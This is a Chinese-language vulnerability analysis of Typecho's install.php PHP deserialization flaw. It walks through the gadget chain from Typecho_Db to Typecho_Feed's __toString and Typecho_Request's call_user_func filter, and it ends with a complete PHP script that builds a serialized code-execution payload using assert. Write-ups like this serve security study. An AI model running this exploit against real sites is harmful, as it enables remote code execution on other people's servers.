Typecho反序列化漏洞分析

前言

在学反序列化的时候就听过typecho这个比较巧妙的反序列化漏洞,故此来进行一次分析学习。

分析过程

反序列化漏洞的出现点在install.php,不过到触发反序列化点之前还有一个点需要绕过的地方,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}

$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port'])) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}

if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}

有两个判断第一个只有传入finish=xxx就可以绕过,第二个由于是本地实验,不存在跨站请求的问题。接下来进入漏洞入口点install.php 232行到237行,代码如下:

Z5JMmd.png

可以看到我们所需要的关键字unserialize了,跟进Typecho_Cookie::get方法(全局搜索),代码如下:

1
2
3
4
5
6
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}

关键语句为

1
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);

当代码中传入__typecho_config时,会对$cookie[__typecho_config]进行检测,如果没有的话,由$_POST['__typecho_config']决定,所以我们可以通过post来控制反序列化的值。接着向下看,有一个new Typecho的操作,跟进这个类,并且查看__construct魔术方法,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}

$this->_prefix = $prefix;

/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();

//实例化适配器对象
$this->_adapter = new $adapterName();
}

发现危险操作$adapterName = 'Typecho_Db_Adapter_' . $adapterName;,进行了一个字符串拼接,如果单看这个简单的字符串拼接确实是没有危险的,但是$adaptername是由我们控制的,如果我们将$adaptername设为一个类,那么就会触发该类的__toString魔术方法,全局搜索一下__toString

Z5Y2PP.png

共发现三处__toString魔术方法,不过Config.phpQuery.php中的__toString方法并没有什么作用,主要来看一下Feed.php中的__toString。(由于比较长,只截取有问题的部分代码)

Z5tlJP.png

可以看到Typecho_Feed类中的__toString方法中也是存在危险操作的,我们同样是可以控制$item['author']的,如果我们将这个设置为一个类,这个类去访问不存在的screenName就会触发__get魔术方法,全局搜索一下__get

Z5NSl8.png

跟进Request.php中的__get方法

1
2
3
4
public function __get($key)
{
return $this->get($key);
}

跟进get函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

跟进_applyFilter函数

1
2
3
4
5
6
7
8
9
10
11
12
13
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

$this->_filter = array();
}

return $value;
}

发现了我们想要的call_user_func函数了,再回去看一下$value是怎么控制的,我们可以给_params['screenName']赋值为phpinfo(),再将$_filter数组添加命令执行函数,就可以打出我们想要的内容了。不过构造完exp打过去确实500,这里是因为install.php调用了ob_start函数,看一下官方手册对此函数的介绍.

Z5UW26.png

因为我们上面对象注入的代码触发了原本的exception,导致ob_end_clean()执行,原本的输出会在缓冲区被清理。

看一下excepetion

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static function exceptionHandle($exception)
{
if (defined('__TYPECHO_DEBUG__')) {
echo '<pre><code>';
echo '<h1>' . htmlspecialchars($exception->getMessage()) . '</h1>';
echo htmlspecialchars($exception->__toString());
echo '</code></pre>';
} else {
@ob_end_clean();
if (404 == $exception->getCode() && !empty(self::$exceptionHandle)) {
$handleClass = self::$exceptionHandle;
new $handleClass($exception);
} else {
self::error($exception);
}
}

exit;
}

可以看到在触发后,会在else调用ob_end_clean来清空我们的输出,解决这个问题有两个方法(采自pupil师傅)

  1. 因为 call_user_func函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。
  2. 第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。

通过'category' => array(new Typecho_Request()),,将数组里封装入一个对象。

1
2
3
4
5
if (!empty($item['category']) && is_array($item['category'])) {
foreach($item['category'] as $category) {
$content. = '<category><![CDATA['.$category['name'].']]></category>'.self: :EOL;
}
}

这样就会达到报错的效果,使得ob_end_clean无法正常执行,这样就能将我们的内容输出了,最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Typecho_Request{
private $_params = array('screenName'=>'phpinfo()');
private $_filter = array(0=>'assert');
}
class Typecho_Feed
{
private $_items = array();
const RSS2 = 'RSS 2.0';
private $_type;
public function __construct(){
$this->_type=$this::RSS2;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}}
$lihuaiqiu=array(
'adapter'=>new Typecho_Feed,
'prefix'=>'lihuaiqiu'
);
echo base64_encode(serialize($lihuaiqiu));

(ps:这里一定要注意RSS的设置,否则还会500)

最终运行结果

Z5afFs.png

总结

反序列化一定要注意找到由合适可以利用的作用域,以及__destruct,__call,__get,__toString这几个魔术方法。